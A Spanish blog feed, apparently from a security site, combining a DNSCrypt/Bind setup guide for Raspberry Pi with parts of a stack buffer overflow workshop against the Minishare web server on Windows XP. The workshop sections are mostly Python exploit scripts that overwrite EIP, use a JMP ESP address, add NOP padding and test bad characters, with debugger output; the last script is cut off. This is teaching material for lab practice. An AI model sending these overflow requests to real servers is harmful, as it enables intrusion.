buff+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
buff+=" HTTP/1.1\r\n\r\n"

s.send(buff)
s.close()

Para probarlo, "revertimos" la app en el Immunity, dandole a atrás << y luego a Play > para volver a ejecutarlo y después lanzamos el script y vemos el resultado:


Como véis, el EIP se ha sobrescrito con los bytes en hexadecimal 36 68 43 35, que equivalen al string “6hC5” de 4 bytes. Para encontrar este string dentro del patrón único generado anteriormente usaremos también mona:

'!mona pattern_offset 36684335'


El offset encontrado es 1787, lo que significa que esos 4 bytes específicos se sitúan en 1787 de los 1886 bytes del patrón.
Para comprobar que estamos en lo cierto insertaremos 4 B's (\x42) justo en esa posición:

EXPLOIT D
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x42\x42\x42\x42"


exploit="GET " + junk + eip + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()


Como veis en el depurador, el registro EIP está escrito con 42 42 42 42 que es equivalente a la cadena BBBB, lo que confirma que nuestros cálculos fueron correctos y ahora ya podemos controlar el flujo de ejecución de la aplicación.

En la siguiente entrada veremos cómo encontrar un área donde podamos escribir nuestro payload (al menos 144 bytes de tamaño) y un registro que apunte directamente a nuestro código, que no será otro que el shellcode que también generaremos más adelante.

DNSCrypt para RPi (o para cualquier sistema si no quieres que nadie vea las webs que visitas)

$
0
0
En este post voy a enseñaros a configurar dnscrypt-proxy (https://dnscrypt.org/) y utilizarlo junto con bind en nuestra Raspberry. La explicación va a partir de que tenéis una Raspberry con Raspbian y Bind instalado, a poder ser como indiqué en mi post anterior (http://www.hackplayers.com/2017/10/usando-la-rpi-para-bloquear-publicidad.html), pero sirve para cualquier sistema GNU/Linux incluso sin Bind instalado. De esta forma, nuestras peticiones dns se realizarán cifradas y así evitaremos que nuestro ISP pueda ver que webs visitamos.

En la web de Dnscrypt podemos descargar su cliente para varios sistemas operativos, pero lamentablemente no ofrecen un paquete deb para nuestro Raspbian, por lo que tendremos que compilarlo. Para facilitar este proceso podemos utilizar el siguiente script: https://github.com/simonclausen/dnscrypt-autoinstall . Este script se encarga de descargar la última versión de dnscrypt-proxy e instalarla, incluidos los archivos necesarios para systemd, un usuario para el servicio,.... Empecemos.

Descargamos el script de autoinstalacion de Github:

wget https://raw.githubusercontent.com/simonclausen/dnscrypt-autoinstall/master/dnscrypt-autoinstall

El script comprueba si hay algún servicio escuchando en el puerto 53, y si lo hay se para. Por este motivo, antes de ejecutarlo debemos parar bind con el comando "systemctl stop bind9.service". Y de manera temporal, modificar el archivo /etc/resolv.conf indicando unos dns externos, para que nuestra Raspberry siga teniendo acceso a Internet.

Una vez hecho esto, ejecutamos el script de instalación de dnscrypt:

bash dnscrypt-autoinstall

Al hacer ésto se encargará de instalar las dependencias y compilar dnscrypt-proxy (este proceso va a tardar unos minutos). Solo nos preguntará si queremos ver el listado de proveedores que ofrecen la posibilidad de usar dnscrypt y cual de estos queremos usar. Yo indiqué opendns (opción 9), pero podéis elegir el que queráis. Con esto ya quedará instalado el servicio.

Ahora solo nos faltarían los últimos retoques.

El script crea dos instancias de dnscrypt-proxy, una en la ip 127.0.0.1 con el proveedor de dns que indicamos durante la instalación, y otra de fallback en la ip 127.0.0.2 con el proveedor dnscrypt.eu-dk.

En las pruebas que hice, este último proveedor nunca me responde correctamente las peticiones dns, por lo que vamos a cambiarlo. También vamos a cambiar las ips en las que responde cada daemon de dnscrypt, ya que la ip 127.0.0.1 la va a usar bind.

Para hacer ello vamos a editar el achivo /etc/systemd/system/dnscrypt-autoinstall.conf, y cambiaremos el valor de DNSCRYPT_LOCALIP por la ip 127.0.0.3 y el valor de DNSCRYPT_RESOLVER2 por d0wn-es-ns1 o cualquier otro proveedor de dnscrypt. Despues de hacerlo tenemos que hacer un reload de systemd con el comando "systemctl daemon-reload" y después un reinicio del servicio de dnscrypt-proxy con el comando "systemctl restart dnscrypt-autoinstall".

Con esto ya estaría instalado y configurado nuestro dnscrypt-proxy. Vamos a probar que todo funciona correctamente antes de configurar bind para que lo utilice. Para probarlo vamos a usar el comando dig de la siguiente forma:

root@host:~/proba# dig +short google.es @127.0.0.3
216.58.206.99
root@host:~/proba# dig +short google.es @127.0.0.2
216.58.198.163

Si nos devuelve una ip, es que todo esta funcionando correctamente. Si no es asi, tendreis que revisar si habeis configurado todo bien, o probar otro proveedor de dnscrypt por si el que habeis elegido no funciona correctamente.

Ahora vamos a modificar la configuración de bind para que use nuestro servicio de dnscrypt-proxy. Para esto editamos el archivo /etc/bind/named.conf.options y modificamos el apartado de forwarders quitando las que tenemos y poniendo las ips en las que escuchan nuestros demonios de dnscrypt-proxy:

forwarders {
    127.0.0.3
    127.0.0.2
};

Reiniciamos bind para aplicar los cambios, con el comando "systemctl restart bind9.service". Después tendremos que modificar de nuevo el archivo /erc/resolv.conf para que use la ip 127.0.0.1, que seria la de bind. Pero antes tendremos que sacarle la opción de inmutabilidad, ya que el script de instalación de Dnscrypt lo marca como inmutable y no nos permitira cambiarlo. Para hacer esto ejecutamos el comando "chattr -i /etc/resolv.conf" y después editamos.

Probamos de nuevo que todo sigue funcionando correctamente:

root@host:~/proba# dig +short google.es
216.58.206.99

Si devuelve una ip es que todo esta correcto. En caso contrario revisad si habéis indicado correctamente los forwarders o si los proveedores de dns que habéis elegido responden correctamente.

Llegados a este punto, las consultas dns de vuestra Raspberry y cualquier otro dispositivo de vuestra red local que use como dns vuestra Raspberry, se estarían realizando cifradas por dnscrypt-proxy y cacheadas por bind.
Y hasta aquí este post, espero que os resulte de utilidad.

Un saludo.

Artículo cortesía de Romám

Taller de iniciación al exploiting: desbordamiento de pila (3) - "acomodando" el espacio para nuestro payload

$
0
0
Anteriormente habíamos conseguido saber exactamente dónde está (offset) el puntero de la aplicación o EIP del servidor Minishare. La meta final es sobrescribir este registro para apuntar a una dirección de memoria donde haya otros procesos interesantes como la consola de comandos o, como haremos a continuación, donde esté nuestro código malicioso/shellcode.

Si echáis la "vista" atrás, anteriormente inyectamos un búfer de 2000 bytes con caracteres únicos para saber rápidamente que el EIP se encontraba a partir del 1787. Esto nos deja 209 bytes (2000−1787−4) si queremos escribir nuestro shellcode, espacio que podría ser insuficiente si consideramos que una shell inversa suele ocupar entre 300 y 400 bytes.

Para localizar espacio para nuestro shellcode la manera más rápida es incrementar el búfer de 2000 a 2200 bytes y verificar si el programa se bloquea y si da como resultado un espacio más grande para nuestro shellcode. Por lo que modificamos el exploit añadiendo 409 C's para ver el resultado:

EXPLOIT E
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x42\x42\x42\x42"

shellcode = "\x43" * 409

exploit="GET " + junk + eip + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()


Como veis en el volcado de memoria del ESP (botón derecho + "Follow in Dump"), el tamaño del búfer ha aumentado y se han sobrescrito todas las C's, lo que significa que tenemos asegurados al menos 409 bytes de espacio disponibles para nuestro shellcode, suficiente.

El siguiente paso es saltar a la localización de nuestro buffer y como nuestro buffer de C's comienza en ESP, necesitamos encontrar una forma de redirigir el flujo al inicio del registro ESP. Para ello, intentaremos encontrar una instrucción  "jmp esp" en memoria. De nuevo, usaremos el script mona.py para encontrar la instrucción JMP ESP más adecuada.

Primero listaremos todos los módulos o librerías cargados en memoria con el siguiente comando:

!mona modules


Observar que en la tabla resultante se incluye también información de la existencia o no de diversas protecciones como SEH, ASLR o NX. Dado que estamos trabajando en XP y no tenemos ningún tipo de protección, en nuestro caso elegimos por ejemplo el módulo del sistema operativo ole32.dll (soporte para objetos OLE) para buscar instrucciones "JMP ESP". Podemos utilizar el script Mona nuevamente para encontrar esta instrucción en dicho módulo:

!mona find -s "\xff\xe4" -m ole32.dll

* "ffe4" es el opcode equivalente a la instrucción JMP ESP.
 

Del resultado obtenido, usaremos el primer offset obtenido: 0x77559c77.

Si queréis obtener todos los punteros de tipo "JMP ESP" independientemente del módulo podéis ejecutar también en la consola:

!mona jmp -r esp


Como podéis observar se han encontrado hasta un total de 25 registros de este tipo en memoria (todos los resultados lo tenéis detallados en el fichero jmp.txt).

A continuación modificamos el script de nuestro exploit ya con el valor exacto del EIP que habíamos elegido anteriormente (0x77559c77), pero eso sí, lo escribiremos al revés. Esto es porque en Intel x86 las direcciones de memoria son almacenadas en formato little-endian, es decir, de derecha a izquierda, porque la parte menos significativa del dato se almacenaría en la dirección menor y la parte más significativa en la dirección mayor.


En definitiva, nuestro búfer ahora estará formado por 1787 A's, la dirección del EIP y el 409 C's para llegar a los 2200 bytes:

EXPLOIT F
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77

shellcode = "\x43" * 409

exploit="GET " + junk + eip + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Después de ejecutar el último exploit, veréis en la pila que el EIP no apunta al inicio del ESP. Ésto pasa frecuentemente porque al recalcularse los punteros muchas veces se escribe entre medias "código basura" por distintos motivos: programación, debugging, errores, ...


En estos casos hay que calcular el primer byte del shellcode donde apunta el EIP, y rellenar todos los anteriores con instrucciones que no hagan nada, como NOP. Recordamos que debemos usar \x90 que es el opcode de la operación NOP, y no \x00 que es el opcode de la operación NULL.

Empezaremos primero creando un pattern de 409 con Mona:

!mona pattern_create 409


y luego lo usaremos con nuestro exploit en lugar de las C's:

EXPLOIT G
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77

shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag"

exploit="GET " + junk + eip + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Si observáis ahora la pila en Immunity, podéis ver que hay un salto de 8 líneas (offsets) desde el inicio de la instrucción que llamaba a la librería (014A3904   77559C77  wœUw  ole32.77559C77) hasta la instrucción donde apunta el EIP (
014A3928   31624130  0Ab1).


En este caso se puede calcular rápidamente a ojo, pero en caso de que no se pudiera podríamos usar '!mona pattern_offset' con el valor de la línea del 'EIP 014A3928 = 0Ab1'.

Lo que haremos ahora es rellenar esos offsets/líneas con NOPs en el exploit: 8 *4 = 32, es decir, añadimos un total de 32 NOPs = \x90 antes del shellcode:

EXPLOIT H
#!/usr/share/python
se tienen que añadir
import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag"

exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()


Al ejecutar el exploit vemos que ahora el EIP apunta al inicio de nuestro shellcode que empieza en:

014A3928   41306141  Aa0A


El siguiente paso es una de las partes más importantes para que un desbordamiento de búfer tenga éxito: detectar los caracteres incorrectos o "bad chars".
Pero, ¿qué es un bad char? Imaginad por ejemplo que estamos realizando un desbordamiento de búfer en el campo contraseña/nombre de usuario de un servidor ftp/smtp. El final de la cadena se indica con \r \n o (\x0a \x0d en hexadecimal) que significa retorno de carro y línea siguiente. Entonces, si \x0a o \x0d están presentes en cualquier parte de nuestro búfer, el nombre de usuario/contraseña terminarán allí y el resto del búfer restante no se tendrá en cuenta. En casi todos los casos, byte nulo o (\x00) es un bad char pero también hay otros...

Para detectarlos volveremos a usar nuestra navaja suiza Mona creando un byte array:

!mona bytearray -b '\x00'


Cogemos ese patrón generado en: C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.txt y lo pegamos en el shellcode del exploit:

EXPLOIT I:
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# !mona bytearray -b '\x00'

shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
shellcode += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
shellcode += "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
shellcode += "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
shellcode += "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
shellcode += "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
shellcode += "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
shellcode += "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


exploit="GET " + junk + eip + nops + shellcode + " HTTP/1.1\r\n\r\n"

s.send(exploit)
s.close()

Ejecutamos nuestro último exploit y miramos dónde salta nuestra shell:

014A3928   04030201 


Podemos ir al offset 014A3928 con Botón Derecho/Go to/Expression = 014A3928, pero se ve rápidamente en memoria que empieza a haber bytes 00s, lo que significa que se ha roto la ejecución por lo que debe hacer más "bad chars".

El byte justo ante de los 00 es un 0A, pero tendría que haber sido un 0D... que venía después de 01 02 03...0A 0B 0C 0D...

Iteramos y repetimos con Mona un bytearray, esta vez sin x00 y sin x0D:

!mona bytearray -b '\x00\x0d'


Volvemos a coger el patrón generado en el fichero 'C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.txt' y lo pegamos de nuevo en el exploit:

EXPLOIT J:
#!/usr/share/python

import socket,sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((sys.argv[1],80))

junk = "\x41" * 1787
eip = "\x77\x9c\x55\x77" # 0x77559c77
nops = "\x90" * 32

# !mona bytearray -b '\x00\x0d'

shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
shellcode += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
shellcode += "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
shellcode += "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
